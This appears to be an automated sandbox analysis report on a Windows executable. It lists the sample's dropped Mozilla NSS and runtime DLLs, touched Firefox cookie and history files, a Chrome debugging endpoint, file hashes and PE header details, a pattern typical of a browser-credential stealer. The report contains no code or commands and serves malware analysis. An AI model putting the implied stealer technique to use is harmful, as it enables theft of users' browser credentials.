Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.374352581184478
Encrypted:	false
SSDEEP:	48:SfNaoQZTEQffNaoQl3aQlNfNaoQxQiYfNaoQB0UrU0U8QL:6NnQZTEQ3NnQ0Q/NnQxQikNnQB0UrU0A
MD5:	6AE71C9D078149DE4A7CFF6A27CC0CD6
SHA1:	FD2B7296969BB3F16F659850D5964C2FA553C0B4
SHA-256:	7B14EC89C8FEB657C4325D4FC92C749A0EBC8CFD8887057374157DB24BB6C332
SHA-512:	084257C389F039818B4678C131CBD4784D3485EEAEF829BB95BCDD80788E1B618026BFAC024CA84BFBED14C8205B6EF1C93D1BAFBEFEAA63E6F44605522EF566
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/65E6F96DD9D81E8CE0D651777C1D617E",.. "id": "65E6F96DD9D81E8CE0D651777C1D617E",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/65E6F96DD9D81E8CE0D651777C1D617E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/2B1925867E1754580A0F66CE56A0CA9A",.. "id": "2B1925867E1754580A0F66CE56A0CA9A",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/2B1925867E1754580A0F66CE56A0CA9A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (789)
Category:	downloaded
Size (bytes):	794
Entropy (8bit):	5.156165254179332
Encrypted:	false
SSDEEP:	24:MdsNMO+R6/BHslgT9lCuABuoB7HHHHHHHYqmffffffo:MdsNC6/KlgZ01BuSEqmffffffo
MD5:	F7A10F68DBBBD707BB71F58D9A05354E
SHA1:	1AC5DA8934D6586486D2E319FEF9BDBF0204B2C3
SHA-256:	1CAB603C4616B25CB9B574E2A46B9407F347919E4ED037DC2B9B2D438D5798C5
SHA-512:	67207DD8181107AD7351678B153092FA55449B951A8634B3C5A6F95EAAAB9CC694467CE444C94AEC4DBBE162E4F9D80F82A7EA1CC02E512C656D70D0FDAF11F7
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["bitcoin crypto","phantom island tour king gizzard","denver snow forecast","union goalkeeper holden trent","loot keys black ops 6 zombies","grizzly bear 399 death","911 lone star season 5 episode 6","powerball jackpot lottery numbers"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133746
Entropy (8bit):	5.436375029681289
Encrypted:	false
SSDEEP:	3072:2P1vjxd0QniyZ+qQf4VBNQ0pqCvx7U+OUaKszQ:E1vv0yTVBNQ0ptvxI+ORQ
MD5:	854E5F4CE5C1EA2081FBA618D39BBAFB
SHA1:	16A4C46D72F60F0A9857391A7C2173075F0959D6
SHA-256:	DD8DE635C4784FB9858FDFB1FB19339E0AA6869B321DFC624AE4AC0C4368C857
SHA-512:	FCCD5C0B3BD327B24C07837B2FAE3700EB39EBB1173F4BD6BB58A24682A14B4633BD8FD6A1B1ED3DD70715CABB5077EBDD5D959D11C81137215D73CEC10139A9
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.96256881276376
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'134'016 bytes
MD5:	db3f4c8bb28dbc1306315f66be015a9e
SHA1:	96009ff8e2ca5fb289152f7c4dd714e10443a07e
SHA256:	1eed771b869cf91330ee2637b4c1962ed937caca077e8092579ddfd33a6efe7c
SHA512:	bfa422cc14c3bb8683035ca6dd7bb67a0998b9b895298acf379b99b461007d8860c99d4f3759d0c4065ac7e539d45d933ed6336d436ec6e3b3f034b9c0e94aeb
SSDEEP:	49152:lwAwnjTJAopAXe2Tz5EAOz6eZ1FPjdBWUljJz5krIc:6AwjK63mcz6EFbWmkrv
TLSH:	A5A53379F9B56D95C3CE66304B6BC2586D2E8C80127A14ABD701CA3DDFE720E74D681C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xb2f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F013D24553Ah
movd mm4, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
